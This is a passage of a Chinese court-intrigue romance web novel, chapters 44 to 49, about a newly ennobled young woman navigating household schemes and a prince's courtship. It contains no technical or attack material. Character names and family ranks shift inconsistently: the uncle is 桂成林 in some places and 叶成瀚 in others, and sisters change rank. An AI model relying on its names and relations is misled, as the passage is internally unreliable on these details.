《盛世天宠》 第四十四章 惶恐 桂成林竟忘了接旨,直到传旨公公笑问:"乐宁县主可在?请上前接旨。" 穆氏脸色阴沉得几欲滴水。 桂雨霜急得直跺脚:"怎么可能?她一个乡下野丫头,凭什么封县主?" "叶小姐!"传旨的尤公公语气严厉,"您这是在质疑圣上?" 桂成林额头沁出冷汗,连忙圆场:"小女近日身体抱恙,脑子不清醒……" 他又解释道:"乐宁这两日染病,正在府上休养……" "是休养吗?"岑陌的声音忽然响起。 桂成林心中一沉,暗道不妙。岑陌虽常出入永宁伯府,却向来冷淡疏离。若他今日护着萧语柔,恐难以善了。 尤公公察觉出不对劲,幽幽道:"太后娘娘可是十分疼爱乐宁县主,不仅赏赐丰厚,还嘱咐元宵宴上要她与三皇子一同入宫叩见呢。" 桂成林被点破心思,只得硬着头皮应道:"多谢太后娘娘垂爱。" 尤公公正欲告辞,忽见远处一道身影缓缓而来。岑陌饶有兴味地看着那人,唇角微扬:"七小姐这是要离家出走?" "当然不是。"桂成林连忙使眼色。 金姨娘领会,忙解释道:"是七小姐要将库房里的棉布送去善堂,行善积德。" 尤公公闻言,露出赞许之色。 桂成林暗自松了口气,见萧语柔依旧温顺,心中略感欣慰。 岑陌目光一直追随着萧语柔,嘴角挂着若有似无的笑意。 这一幕恰好被桂婉柔捕捉到。 传闻中冷酷无情的三皇子,竟会为一个女子如此温柔?素锦广袖,金冠束发,岑陌此刻宛如世家贵公子,气质优雅矜贵。 桂婉柔心中暗自思忖:萧语柔凭什么能得到三皇子的青睐?她抢走了穆秋煜,难道还不够吗? "婉柔!"穆氏严厉的呵斥将她拉回现实。 这才发现众人都在看她,桂婉柔脸上微微发烫,连忙解释:"我只是在想,不如由侯府出面,采购粮食冬衣送去善堂……" 尤公公笑呵呵地对桂成林说:"侯府的小姐们当真善良。" 桂成林勉强挤出笑容,对桂婉柔道:"尤公公刚才问你,过阵子宫里要举办马会,你可有空参加?" 桂婉柔这才意识到自己方才失态,心中懊恼不已。她努力平复情绪,强作镇定道:"多谢公公挂念,婉柔定当准时赴会。" 尤公公点头应是,又看向萧语柔:"乐宁县主,太后娘娘盼着您快些康复。届时马会上,还请您与三皇子一同参加。" 萧语柔微微欠身,声音轻柔:"多谢太后娘娘挂念,明萝定不负圣恩。" 萧语柔站在廊下,捧着太后赐下的圣旨,心绪复杂。这份旨意既是荣宠,也是危机。她轻轻抚摸着胸前的玉佩,眼底闪过一丝不易察觉的忧虑。 "小姐,老夫人唤您过去。"紫萱轻声禀报。 萧语柔微微颔首,迈步向老夫人的院落走去。路过花园,一阵冷风刮来,她不禁打了个寒颤。 老夫人的房间里,金姨娘正在低声说着什么。见萧语柔进来,两人不约而同地停下交谈。 "萝儿来了。"老夫人慈爱地唤道。 萧语柔福了福身子,"外祖母。" 金姨娘笑着退到一旁,眼中闪过一丝深意。 老夫人拉过萧语柔的手,语重心长道:"如今你已得圣宠,更要谨慎行事。" 萧语柔低垂眼帘,"明萝明白。" 一阵急促的脚步声打断了屋内的谈话。一个丫鬟慌慌张张跑进来,"老夫人,三皇子来了!" 萧语柔心头一跳,强自镇定。老夫人和金姨娘对视一眼,眼中均露出喜色。 "快请殿下进来。"老夫人吩咐道。 萧语柔起身欲退,却被老夫人拉住。"你且留下。"老夫人意味深长地说。 不多时,岑陌在下人的引领下走了进来。 "殿下大驾光临,有失远迎。"老夫人笑着说道。 岑陌拱手行礼,"打扰了。" 萧语柔站在一旁,低眉顺眼,不发一言。老夫人看了看两人,笑道:"你们年轻人聊,我老婆子乏了。"说着,她示意金姨娘扶她进了内室。 屋内顿时只剩下萧语柔和岑陌两人。空气中弥漫着一丝微妙的气氛。 "恭喜你得圣宠。"岑陌率先开口。 萧语柔福身道谢,"多谢殿下。" 岑陌凝视着她,"你可知,我为何而来?" 萧语柔抬眼,对上他深邃的目光:"殿下是为了婚事而来吧。" 岑陌微微一笑,"聪明。" 萧语柔沉默片刻,轻声道:"殿下,此事还需从长计议。" 岑陌挑眉,"为何?" 萧语柔轻叹一声,"殿下身份尊贵,我不过是个侯府庶女。" 岑陌眸光一沉,"你在推辞?" 萧语柔摇头,"非是推辞,只是为殿下考虑。" 岑陌上前一步,逼近萧语柔,忽然伸手,轻抚她的脸颊。萧语柔如触电般后退一步,眼中闪过一丝慌乱。 岑陌收回手,眸中闪过一丝受伤。"你还是不明白吗?"他轻声问。 萧语柔低下头,不敢直视他的目光。岑陌深吸一口气,转身离去。 萧语柔站在原地,久久未动。 正当此时,一阵急促的脚步声传来。紫萱慌张地跑进屋内,"小姐,不好了!春蝶醒了,正在闹腾!" 萧语柔神色一凛,快步向自己的院落走去。 推开房门,萧语柔看到被五花大绑的春蝶正在地上挣扎。春蝶见她进来,眼中迸发出愤怒的火花。 "萧语柔!你居然敢这样对我!"春蝶咬牙切齿地说。 萧语柔面无表情地看着她,"若非你行事不端,我又何必如此?" 春蝶冷笑一声,"你以为你得了太后的恩宠,就能高枕无忧了吗?别忘了,你不过是个庶女!" 萧语柔眼中闪过一丝寒意,"你又知道些什么?" 春蝶得意地扬起下巴,"我知道的可多了。你以为你能瞒得住所有人吗?" 萧语柔心中一惊,但面上不动声色。她缓缓走到春蝶面前,俯身凑近她的耳边,低声道:"你最好管住自己的嘴,否则……" 春蝶脸色一变,显然被萧语柔的话吓到了。 春蝶呆呆地望着萧语柔,内心翻涌着惊惶与不安。她万万没想到,自己最大的秘密竟被这位七小姐轻易道破。 "你……你怎么知道的?"春蝶声音颤抖,下意识地用手护住小腹。 第四十五章 府中风波 萧语柔不答反问:"你真以为能瞒得住吗?"她的目光锐利如刀,直直刺入春蝶心底。 春蝶咬紧下唇,脑中闪过无数可怕的画面。若是夫人知道了,她和腹中的孩子怕是都活不成。 "七小姐想要什么?"春蝶低声问,眼中带着警惕。 "我不想要什么,"萧语柔缓缓道,"我只是在给你一个机会。" "什么机会?" "一个改变命运的机会。"萧语柔凝视着春蝶,"你可以继续做一个卑微的丫鬟,也可以成为左右逢源的人物。" 春蝶心中一动。 萧语柔继续说道:"我需要你的眼睛和耳朵,而你需要我的庇护。这笔交易,你觉得如何?" 春蝶沉默良久,终于咬牙道:"好,我答应你。" 萧语柔露出满意的笑容,正欲说什么,院外突然传来一阵急促的脚步声。 紫萱匆匆跑进来,低声道:"七小姐,夫人回来了。" 萧语柔神色未变,对春蝶使了个眼色:"去吧,记住我们的约定。" 春蝶点点头,快步离开了静园。 穆氏回到自己院子,脸色阴沉得可怕。桂雨霜跪在地上,身子微微发抖。 "贱人!"穆氏一巴掌扇在桂雨霜脸上,"你真以为自己有几分姿色,就能爬到穆家少奶奶的位置上去?" 桂雨霜强忍泪水,不敢吭声。 穆氏冷笑一声:"你这张脸,迟早会毁在我手里。" 桂雨霜心中一颤,知道穆氏是动了真怒。她低声求饶:"母亲,女儿知错了。求您再给女儿一次机会。" 穆氏冷眼看着她,忽然笑了:"机会?好啊,我倒要看看你能不能把握住。" 桂雨霜抬起头,眼中带着一丝希冀。 穆氏缓缓说道:"五日后,太后寿宴,你随我入宫。" 桂雨霜心中一喜,连忙应道:"是,女儿定不负母亲期望。" 穆氏挥挥手,示意她退下。待桂雨霜离开,穆氏脸上的笑容瞬间消失。 穆妈妈低声问道:"夫人,真的要带二小姐入宫吗?" 穆氏冷哼一声:"让她去见见世面也好,免得整日做些不切实际的美梦。"她眼中闪过一丝阴冷,"再说,若是能在宫里结识几个贵人,对我们也不无好处。" 穆妈妈欲言又止,最终还是没有开口。 夜幕降临,侯府张灯结彩,一派节日气氛。萧语柔独自坐在静园的小亭里,望着远处的灯火出神。 紫萱端着热茶走来。 萧语柔接过茶盏,轻轻抿了一口。 萧语柔笑了笑,眼中闪过一丝复杂难辨的情绪。她站起身,望向远处灯火通明的主院。 "走吧,"萧语柔说道,"该去给舅舅请安了。" 大厅。 桂成林正襟危坐在主位上,见萧语柔进来,脸上露出慈祥的笑容:"明萝来了,快过来坐。" 萧语柔乖巧地应了声,在桂成林身边坐下。 桂成林压低声音道:"明萝,五日后太后寿宴,你也随我一起入宫吧。" 萧语柔心中一动,面上却不动声色:"是,舅舅。" 桂成林满意地点点头,又叮嘱道:"到时候多加小心,切莫冲撞了贵人。" 萧语柔乖巧应下。 翌日一早,几个丫鬟正在闲聊。萧语柔躲在假山后,竖起耳朵仔细听着。 "你们听说了吗?最近府里有些不太平……"一个丫鬟压低声音说。 "是啊,听说老爷和夫人闹矛盾了。"另一个附和道。 "嘘,小声点。这种事可不能乱说。"年长些的丫鬟警告道。 萧语柔眉头微皱,看来府中确实有些异常。她正想再听些什么,却听见身后传来脚步声。 "七妹妹,您在这儿做什么?" 萧语柔回头,只见桂玥站在身后,神色困惑。 "六姐姐。"萧语柔强作镇定,笑道,"我身子不适,出来走走。" 桂玥关切地问:"需要我陪你吗?" 萧语柔摇头:"不必麻烦六姐姐了,我自己待会儿就回去。" 桂玥迟疑片刻,还是点头离开了。 萧语柔松了口气,却也知道不能再在此久留。 几日后,萧语柔趁给老夫人请安之际,小心试探道:"最近府里似乎有些不太平?" 老夫人眼中闪过一丝警惕,但很快恢复如常:"胡说,哪里不太平了?" 萧语柔假装不经意地说:"我听下人们议论,说侯爷和夫人……" "住口!"老夫人厉声打断,"不许听信这些闲言碎语。" 萧语柔连忙认错,心中却已有了计较。看来府中确实有事,而且牵涉到桂成林夫妇。 离开老夫人院子,萧语柔正琢磨着该如何进一步查探,忽见前方一个熟悉的身影匆匆而过。 "夫人?"萧语柔微微一怔,"这个时辰,她去哪儿?" 犹豫片刻,萧语柔悄悄跟了上去。只见穆氏来到一处偏僻的院落,敲响了门。 "谁?"里面传来警惕的声音。 "是我。"穆氏低声道。 门开了一条缝,穆氏迅速闪身进去。萧语柔蹑手蹑脚靠近,却只听见断断续续的对话。 "……流言……不能再等……" "……三皇子……必须……" "……小心行事……" 萧语柔心中一惊,看来穆氏果然有所图谋。她正想再听清楚些,却听见脚步声渐近。萧语柔连忙躲到假山后,看见穆氏匆匆离去。 夜幕低垂,龙都华灯初上。萧语柔立于窗前,凝望远处星星点点的灯火。 "七小姐?"林妈妈的声音自门外传来。 萧语柔微微勾起嘴角,拉开窗户:"嬷嬷不觉得冷吗?" "奴婢不冷。"林妈妈仿佛未察觉萧语柔话中揶揄之意,笑道:"三皇子请您过去说话。" "三皇子今夜不守岁?"萧语柔问。 "跟谁守呢?"林妈妈语气自然,随即指了指萧语柔的斗篷:"七小姐身子弱,记得穿上。" 萧语柔心中一动,按理说皇宫今日应有家宴,岑陌再不受待见,也是堂堂皇子。难道皇帝已如此厌弃这个儿子?她心中不禁软了几分。 拿上斗篷,萧语柔又从枕下取出一物,随林妈妈出了府。 岑陌依旧在那高楼之上。这晚的龙都灯火辉煌,较上次更显壮观。 "殿下很喜欢这里。"萧语柔回头看向岑陌。 他坐在烛火旁,眼中似有星火闪烁:"还行。" 萧语柔看着他这副冷淡模样,忽然问道:"那殿下很喜欢我。" 岑陌幽幽看她,就在萧语柔以为他会依旧傲娇地说"还行"时,他道:"嗯。" 第四十六章 虚情假意 萧语柔耳根发热,暗自懊恼为何要自找麻烦。 她佯装无事发生,转头继续望着万家灯火,思绪却不由得飘远。 "对了,上次在品茗楼外的那位姑娘,情况如何了?"萧语柔忽然想起那个被蛊虫噬咬、浑身皮肤溃烂的女子。 "已经好转了,怎么了?"岑陌问。 "没什么,只是这虫蛊之法本不该出现在龙都,所以印象深刻。"萧语柔说着,将带来的东西递给他,是个巴掌大小的香囊,"这里面的东西可以驱逐蛊虫,不令其近身。" 岑陌心中泛起一丝暖意:"阿萝。" "嗯?" 岑陌望着她澄澈的眼睛,忽觉自己如长公主所言,卑劣而又偏执到病态。他不喜欢的东西,烂在眼前也无所谓,但他喜欢的,即便用尽手段,也要得到。 有时他会病态地想,将萧语柔小心囚禁,不让任何人看见,也不让她看任何人。只让她的眼睛,看向他一人。 是他一步步将她引入自己的狼窝,随时准备将她拆吃入腹,而她却浑然不觉。 "过几日,长公主想见见你。"岑陌晦涩地说。 萧语柔看着他身上散发出的孤寂情绪,微愣片刻,明白过来。 "好啊,我也想见见她。"萧语柔走到岑陌跟前,手背在身后俯身望着他,"三皇子,你是不是不喜欢长公主?" 清新的少女香气传来,夹杂着些微药草的苦涩,清爽而又干净,犹如一个慢慢聚拢的茧,将他裹在其中。 岑陌放在一侧的手指轻轻颤栗,凤眸轻抬,瞧着她微扬的红唇,喉结滚动:"她是抚养我长大的人。" 萧语柔微微皱眉。 前世岑陌在与二皇子的争斗中落败,只有两件事萧语柔记得很清楚:一是他护住了未婚妻枝芷凝一家毫发无损,二是他死得很惨。 那抚养岑陌长大的长公主,在那时站在什么位置?想起上次长公主对岑陌的贬低,她当真是真心抚养岑陌长大吗?可若说不是,当年岑陌母妃乃是罪妃,死于非命,岑陌那时年岁应该很小,一个罪妃之子"意外"死了,谁也不会多想,但为何偏偏长公主又要把她接到身边? 想必,下次去见长公主,就有答案了。 大年初一,萧语柔陪着老夫人绣了花。到了初二,穆氏便带着桂婉柔和桂雨霜回娘家去了。 桂雨霜离开前很是开心,甚至一句都没问过秋荷的下落,高高兴兴梳妆打扮就随穆氏上了马车。 穆氏一走,侯府更加清净。这时,春姨娘也带来了好消息。 "查清楚了,那晚小欢过来,见了一个名叫玉泽的丫环。那丫环是个做粗活的,人虽木讷,嘴巴却很严,又一直独来独往,竟一直没让人发现她还跟小欢有往来。" 春姨娘坐在暖榻旁的绣凳上,穿着秋香色的衣裙,乌发上戴着绒花,更添几分娇怜。 萧语柔淡淡喝了口茶。 春姨娘会意,继续道:"这玉泽家里有个弟弟,还小呢,等着她每月寄回去的月例吃粥喝奶。妾稍稍一诈她,她便全招了,说小欢是自己察觉有危险,给她留了一封信,说若是她哪天死了,就把信送去她老家。" "她老家还有什么人?"萧语柔问。 "哪能有什么人,不过是有个做地痞的哥哥。信我没看,兴许信里写了。"春姨娘将叠得整整齐齐的信递给萧语柔。 萧语柔伸手接过,面上虽冷静,心跳却快了些。很快,她就知道小欢临死前那一个未说完的字指的是谁了。 萧语柔看得快,几乎是一目十行地扫完。正当春姨娘想凑上去看一眼时,萧语柔忽然厉色看她:"这信姨娘可看过?" "怕耽误七小姐的事,我没看过。玉泽倒是翻开过,不过她应该大字都不认识几个。"春姨娘心里忍不住打了个颤。 萧语柔看了眼春姨娘,淡淡说:"姨娘再去问问,玉泽是不是真的不识字。" 说完,她径直往老夫人院里去。春姨娘连忙跟上,问:"那莹儿那里……" "我迟些便过去探望六姐姐。"萧语柔留下话,便快步走了。 暮色降临,芙蓉院内灯火初上。春姨娘掩上房门,眉头紧锁,声音低沉地对婆子嘱咐: "那个叫玉泽的,务必尽快处理掉。小欢背后的人不简单,别连累我们。" 话音未落,门外传来一阵脚步声。 "娘,你们在说什么?"桂玥虚弱的声音响起。 春姨娘脸色骤变,连忙迎上前去。 她搀扶着面色苍白的女儿,语气中满是心疼:"莹儿怎么出来了?快进屋。" 婆子见状,对服侍桂玥的丫鬟怒目而视。她一把揪住丫鬟的衣领,低声呵斥:"蠢东西!怎么照顾小姐的?" 丫鬟委屈地辩解:"是小姐非要出来……" 话音未落,婆子抓住她的头发,狠狠甩了两个耳光。"还敢顶嘴?" 春姨娘皱眉制止:"大过年的,别闹出动静。"她吩咐人关上院门,转头看向女儿。 桂玥焦急地环顾四周:"七妹妹没来吗?" "别急,她马上就到。"春姨娘安抚道,目光却不由自主地打量着女儿的容貌。桂玥继承了她的柔弱气质,唇形却像极了桂成林。若非耽搁这些年……春姨娘咬牙切齿,心中暗自盘算。 她暗下决心,一定要让女儿出人头地。而眼下,萧语柔无疑是最好的垫脚石。 与此同时,福寿堂内,萧语柔正服侍老夫人歇下。她心事重重地退出房间,脑海中回响着信中提到的名字——赵正。原来此人是已故的上任镇国公,老夫人的亲兄长。 萧语柔眉头微蹙,思绪纷飞。小欢为何要她哥哥寻找这个人?这其中又有何隐情? 正当她沉思之际,紫萱快步迎上前来,兴奋地汇报:"小姐,我哥哥回来了!他说您交代的事已有眉目,想与您商议后续安排。" 萧语柔闻言,眼中闪过一丝欣喜。看来是时候去品茗楼兑换那块翡翠了。她吩咐陆妈妈取来药箱,转身前往芙蓉院。 春姨娘热情相迎,将她引入屋内。萧语柔瞥见桂玥穿着与自己相似的藕荷色长裙,不动声色地上前为她诊脉。 桂玥偷偷打量萧语柔的容貌,忍不住问道:"七妹妹用的什么胭脂水粉?皮肤真好。" "出门匆忙,未施脂粉。"萧语柔淡然回答。 桂玥闻言一怔,低下头沉默不语。 良久,她才怯生生地问:"七妹妹,我的病还能治好吗?" 萧语柔沉吟片刻,决定不轻易动用《《灵医宝典》》。 "能治,但需细心调养一两年。"她开出药方,交代注意事项。 春姨娘和桂玥面露失望之色。 婆子更是直接拦住萧语柔:"七小姐未免太敷衍了!" 萧语柔冷眼相对:"敷衍什么?" 第四十七章 计谋 婆子语塞,指着药方嗫嚅道:"随便写张方子就想打发我们……" 萧语柔轻哂,庆幸自己没有轻易动用《灵医宝典》。 "这方子是为排除六小姐体内多年积毒所开,"她解释道,"用药一月后,我会视情况再调整。" 她意有所指地看向春姨娘:"我向来说到做到。" 春姨娘听出言外之意,勉强挤出笑容,眼底却闪过一丝不易察觉的阴霾。 离开芙蓉院后,陆妈妈忍不住提醒:"小姐,这春姨娘不是善茬啊。" 萧语柔挑眉问道:"何以见得?" 陆妈妈四下张望,压低声音道:"听说六小姐的病,原是春姨娘自己下的毒……" "不可能吧,"萧语柔蹙眉,"春姨娘就这一个女儿……" 陆妈妈摇头:"那时她还怀着个儿子呢。据说是为了栽赃夫人,结果事情败露,春姨娘就自己喝了绝子汤。" 萧语柔若有所思:"你亲眼所见?" 陆妈妈语塞,又补充道:"府里的柳大夫在此常驻几十年,他应该知道内情……" 萧语柔猛然想到穆氏派来的桂妈妈曾企图下毒。父母相继离世,会不会也与药物有关?若真如此,穆氏会找柳大夫拿药吗? 她的心绪如潮水般起伏,一时间难以平静。这其中似乎隐藏着更多不为人知的秘密。萧语柔深吸一口气,强迫自己冷静下来。 不能操之过急,她暗自告诫。或许春姨娘当年之事,会成为突破口也未可知。但眼下,还需谨慎行事,步步为营。 芙蓉院内灯火依旧。 春姨娘站在窗前,目光幽深。她轻抚着窗棂,心中思绪万千。今晚的种种,似乎预示着暗流涌动。她不禁想起往事,眼中闪过一丝复杂的情绪。 桂玥在床上辗转反侧,无法入眠。 而此刻的萧语柔,正独自坐在静园的房间里,借着烛光细细研读着手中的医书。她知道,要揭开这重重迷雾,还需更多知识和智慧作为武器。 秋雨绵绵,桂玥坐在铜镜前,眉头紧锁。她的发髻模仿着萧语柔的样式,却总觉得差了那么一分神韵。手中的金簪在镜面上划出刺耳的声响,惹得春姨娘不禁瑟缩了一下。 "莹儿,别动气。"春姨娘走近,轻抚桂玥的肩膀,"萧语柔不是说能治好你吗?待你康复,容色定胜于她。" 桂玥沉默片刻,目光阴沉地盯着镜中的自己:"可她是县主,未来的三皇子妃,有数不尽的好东西。" 春姨娘嘴角微扬,眼中闪过一丝精明:"傻孩子,她越是有的多,越是护不住。穆氏那样的人,怎会让萧语柔带着满箱嫁妆去做三皇子妃?" 桂玥转过头,眼中闪烁着异样的光芒:"那如果她没了,她的东西能给我吗?" 春姨娘笑道:"自然,那些本就该是你的。" 正说着,一个婆子慌慌张张跑进来,"姨娘,玉泽跑了!" 春姨娘脸色骤变,"什么?她能跑哪去?" 婆子喘着气解释:"她收拾了值钱东西,骗过了角门婆子,就这么走了!" 春姨娘冷笑一声,刚要说话,突然意识到什么,硬生生把话咽了回去。她深吸一口气,沉声道:"先瞒着,别让萧语柔知道。" 婆子犹豫道:"可万一玉泽把事情说出去……" 春姨娘打断她,眼中闪过一丝阴鸷:"那又如何?查小欢的是萧语柔,与我们何干?" 与此同时,静园内,萧语柔正小口啜饮着一碗香醇的鸡汤。她放下碗,对屋内的丫鬟说道:"我要歇息片刻,你们都下去吧。" 待人都退下,萧语柔悄悄起身,通过密道溜出府去。墙角处,杨树缩着脖子蹲在那里,见她出来,赶紧迎上前。 "小姐,马车备好了。"杨树低声说道。 萧语柔点点头,两人悄悄上了马车,向城郊驶去。半个时辰后,马车停在一座正在装修的酒楼前。 萧语柔环顾四周,目光落在后院的一棵紫藤上。 "这棵紫藤不错,可以搭个花架。"她随口提了一句。 杨树连忙记下,暗自盘算着如何布置。萧语柔戴上面纱,跟着杨树进了正屋。 屋内不仅有工匠,还有两个西洋商人。萧语柔心中一动,往事涌上心头。她深吸一口气,开始与商人洽谈。 谈判过程中,萧语柔不卑不亢,进退有度。两个小时后,双方达成协议。临走时,那叫禅连的商人称赞道:"萧掌柜真是个难得的人才。" 萧语柔淡然回应:"良好的合作,是共赢的开始。" 送走商人后,杨树忍不住问:"这就谈妥了?" 萧语柔没有直接回答,而是问起了招人的事。杨树如实汇报,萧语柔满意地点点头。 随后,她又去见了两位手艺人,确保他们安顿妥当。事情办完,萧语柔带杨树去了品茗楼,将翡翠兑换成银票。 掌柜笑着说:"多亏了您,生意好了不少,这是最高价。" 萧语柔将银票转给杨树,叮嘱道:"挑掌柜也要有这份伶俐。" 两人刚要离开,突然听到一阵争执声。萧语柔转头望去,只见宁婷正和钱忠争抢一块石头。 "这是我看中的,凭什么让给你!"宁婷死死抓着那块石头,脸涨得通红。 钱忠冷笑道:"你看中就是你的?付钱了吗?" 萧语柔皱眉,没想到会在这里遇到这两人。她下意识地想要离开,却听宁婷讥讽道:"你一个大男人,跟我争什么?" 钱忠毫不退让,"我就争了,怎么着?" 宁婷见状,仿佛抓住了什么把柄,更加得意起来:"真没风度,跟你那乡巴佬表妹一样。你爹不也是个庶子,装什么二公子?" 钱忠脸色阴沉,宁婷却越说越起劲:"还有你那病秧子大哥,怕是快不行了吧?你有这闲工夫,还不如回去陪陪他。" 钱忠再也忍不住,一把抢过石头,狠狠砸在地上。"啪"的一声,石头四分五裂。 萧语柔看着这一幕,心中暗叹。她转身对杨树低声说道:"我们走吧。" 杨树点头,两人悄悄离开了品茗楼。 夜色渐深,静园内一片寂静。 萧语柔独坐灯下,指尖轻抚医书,眉头微蹙。穆氏回府的消息如一块石子,在她心中激起层层涟漪。 "三小姐病了?"她低语,眼中闪过一丝精光。桂雨霜的"病"来得蹊跷,恐怕难以痊愈。 萧语柔轻叹一声,起身走到窗前。她喃喃自语:"风雨欲来……" 清晨,阳光透过窗棂洒落。萧语柔早已起身,梳妆完毕。 "小姐,穆氏今日要举行祈福法事。"紫萱禀报。 第四十八章 暧昧 萧语柔微微一笑,眼中闪过精芒:"备些香烛,我们也去凑个热闹。" 她缓步而行,仪态端庄。院中众人纷纷避让,目光复杂。萧语柔置若罔闻,径直向前。 穆氏院中,香火缭绕。凌明端坐高台,面色庄严。萧语柔入内,微微行礼。 穆氏眉头一皱,强颜欢笑:"明萝也来了,快坐。" 萧语柔颔首谢过,安然落座。凌明开坛讲法,字字珠玑。她静静聆听,眼中深意难辨。 忽然,凌明话锋一转。"今日有贵人在座,当受天眷。" 众人心中一动,纷纷四顾。萧语柔不动声色,仿佛未闻。 凌明目光如炬,直视萧语柔:"此女天赋异禀,福缘深厚。" 穆氏脸色微变,强自镇定。 萧语柔起身,恭敬行礼。"大师谬赞了。"她温言道。 法事结束,众人散去。萧语柔独自漫步庭院,若有所思。 紫萱匆匆赶来,面带忧色。 "小姐,穆氏……"她欲言又止。 萧语柔轻轻摇头,示意不必多言。 "顺其自然。"她淡然道。 紫萱心中佩服,却仍忧心忡忡。萧语柔抬头望天,目光坚定。"暴风雨前的宁静罢了。" 次日清晨,陆妈妈匆匆而来。"小姐,三小姐……" 萧语柔抬手示意她停下。"我知道了。"她平静地说,眼中却闪过一丝复杂的情绪。 "夫人让小姐过去看看。"陆妈妈补充道。 萧语柔点头,起身整理衣裳。她缓步走向桂雨霜的院落,面色沉静。 推门而入,扑面而来的药味让萧语柔微微蹙眉。桂雨霜躺在床上,面色苍白。 "七妹妹来了。"穆氏勉强笑道,眼中却充满警惕。 萧语柔上前,为桂雨霜把脉。她眉头微皱,似乎发现了什么。 "如何?"穆氏问道,声音有些紧张。 萧语柔缓缓放下桂雨霜的手腕,面色平静:"三姐身子虚弱,需好生调养。" 穆氏松了口气。 萧语柔开了药方,交代好后转身离去。 回到静园,萧语柔立即翻开医书,仔细查阅。紫萱在一旁侍立,不敢打扰。 良久,萧语柔合上书册,若有所思。"紫萱,去准备些药材。" 紫萱领命而去。萧语柔站在窗前,目光远眺。 "小姐,药材备好了。"紫萱轻声禀报。 萧语柔点头,起身走向药房。她亲自配药,动作娴熟。 "送去给三小姐。"她吩咐道,声音平静。 紫萱领命而去。萧语柔站在窗前,望着紫萱的背影渐渐消失在夜色中。 第二天一早。 岑陌坐在廊下,目光如炬般锁定她的身影:"阿萝,你来了。" 萧语柔微微颔首,走近几步。"殿下今日怎么有闲暇来访?" 岑陌唇角微勾,眼中闪过一丝狡黠。"是来看看你的。" 萧语柔心头一颤,强自镇定道:"殿下说笑了。" 正欲说话,钱涛的身影突然出现在院门处。他面色苍白,眼中却闪烁着异样的光芒。 "七妹妹,"钱涛轻声唤道,"可否借一步说话?" 萧语柔蹙眉,正要开口,岑陌已然起身,挡在她身前。"阿萝,老夫人还在等着我们。" 钱涛眼中闪过一丝黯然,却强撑笑容。"既如此,我就不打扰了。"说罢,从怀中取出一支精致的桃花簪,"这是给七妹妹的新年礼物,还请笑纳。" 萧语柔犹豫片刻,伸手接过。 岑陌眸光一沉,不动声色地将簪子从她手中拿过:"多谢赵大公子的心意,本王代阿萝收下了。" 钱涛神色一僵,勉强笑道:"那就祝二位新年愉快。"说完,转身离去。 岑陌看着钱涛远去的背影,眼中闪过一丝冷意。他转向萧语柔,语气柔和了几分:"我们进去吧。" 福寿堂内,老夫人正慈祥地看着二人。"你们来得正好,快来尝尝这新进的茶叶。" 萧语柔乖巧应声,在老夫人身旁坐下。岑陌优雅落座,目光始终追随着萧语柔。 老夫人笑意盈盈,问道:"阿萝,近来可好?" "托老夫人的福,一切安好。"萧语柔恭敬答道。 岑陌适时插话:"她医术精湛,近日又救了不少人。" 老夫人欣慰地点头:"好孩子,要记得照顾好自己。" 萧语柔心头一暖,眼中闪过一丝感动。岑陌见状,递上一方锦帕。萧语柔接过,指尖微颤,与他四目相对。 那一刻,空气仿佛凝固。 老夫人佯装未觉,笑着聊起家常。 待到告辞时,天色已渐暗。岑陌坚持要送萧语柔回去,老夫人笑而不语。 二人并肩而行,月光如纱,笼罩庭院。岑陌突然停下脚步,转身面对萧语柔。 "阿萝,"他轻唤,声音低沉,"你可知我今日为何而来?" 萧语柔心头一跳,轻声问:"殿下有何要事?" 岑陌深深看她一眼,缓缓道:"元宵会上,恐有波澜。" 萧语柔蹙眉:"殿下何出此言?" 岑陌压低声音:"宫中可能藏有敌人,林璇遭虫蛊噬身,便是证据。" 萧语柔心头一震,想起林璇昏迷不醒的模样,不禁后怕。"那我们该如何应对?" 岑陌眸光微闪:"太后命我元宵会入宫,届时必有端倪。你要多加小心。" 萧语柔点头,低声道:"殿下放心,我会谨慎行事。" 岑陌轻叹一声,伸手轻抚她的发髻:"我不愿你置身险境,可你医术高明,若有意外,还需你相助。" 萧语柔抬眼看他,只见他眼中满是担忧。她心头一软,轻声道:"殿下无需担心,我定当小心。" 岑陌微微颔首,目光柔和:"我相信你。" 夜色渐深,二人依依惜别。萧语柔回到房中,心绪难平。 紫萱见状,轻声问道:"小姐可是有心事?" 萧语柔摇头,勉强一笑:"无事,只是有些疲累罢了。" 紫萱识趣地退下。 几日后,静园。 岑陌修长的手指拈起一枚棋子,落下时发出清脆响声。他独自对弈,眉宇间凝着一丝化不开的冷意。 萧语柔踏着碎雪而来,裙摆沾了些许湿气。 岑陌抬眸,眼底暗流涌动:"你来了。" 萧语柔莞尔一笑,递上一盘点心:"紫萱刚送来的龙须酥,殿下尝尝。" 岑陌看着那盘龙须酥,眼神微动。他慢条斯理地拈起一块,却没有立即送入口中。 萧语柔不解地看着他,忽觉指尖一热。岑陌轻咬住她的手指,嘴唇轻轻抿过。 萧语柔脸颊瞬间绯红,慌忙抽回手:"殿下!" 第四十九章 邪祟 岑陌低笑出声:"再喂我一块。" 萧语柔佯怒道:"殿下自己动手便是。"说罢,借口前院有客人来访,匆匆离去。 岑陌望着她离去的背影,低头看着那盘龙须酥,若有所思。方才的触感似乎还留在唇间,甜腻的味道在口中蔓延。 "殿下,侯府的四小姐在后头盯着这里看了许久了。"林妈妈终于开口道。 岑陌眼底闪过一丝厌烦:"她喜欢看,就让她看个够。"他望着那盘龙须酥,忽然想到什么,嘴角轻轻勾起,"去寻一块上好的和田玉来。" 傍晚时分,萧语柔刚送走几位来访的小姐。 陆妈妈不屑地说道:"这几位小姐,奴婢看没一个是真心的。您瞧瞧这都送的什么?一个送了两张帕子,若是自己绣的,还当她有几分心意,可这一看就是绣娘绣的。" 紫萱笑着劝阻:"这话可不能往外说,那些人没把咱们小姐当回事,咱们小姐难道就把她们当回事儿了?" 正说着,外头有人来报。陆妈妈出去了会儿,进来便是喜上眉梢地说:"小姐,还是三皇子有心,方才他就在侯府里,直接给您雕了一枚玉佩呢。" 说着,将用锦帕托着的玉佩呈了上来。 紫萱看了眼:"呀,这不是方才的龙须酥么?" 萧语柔一眼认出来,玉佩上的龙须酥雕刻得十分逼真,玉佩角落还刻着一个小小的"极"字。她瞬间想起岑陌方才的举动,耳尖发烫:"收起来吧。" "小姐不喜欢?"紫萱疑惑地问。 萧语柔暗叹今晚是睡不好了,她下次再也不轻易靠近岑陌了! 夜幕低垂,岑陌正准备离开。桂婉柔不死心地又出来了一次。 岑陌神色更加不耐烦,脸色阴郁:"下次再出来碍眼,我便杀了你。想来叶成瀚这么多女儿,死了一个两个,也不打紧。" 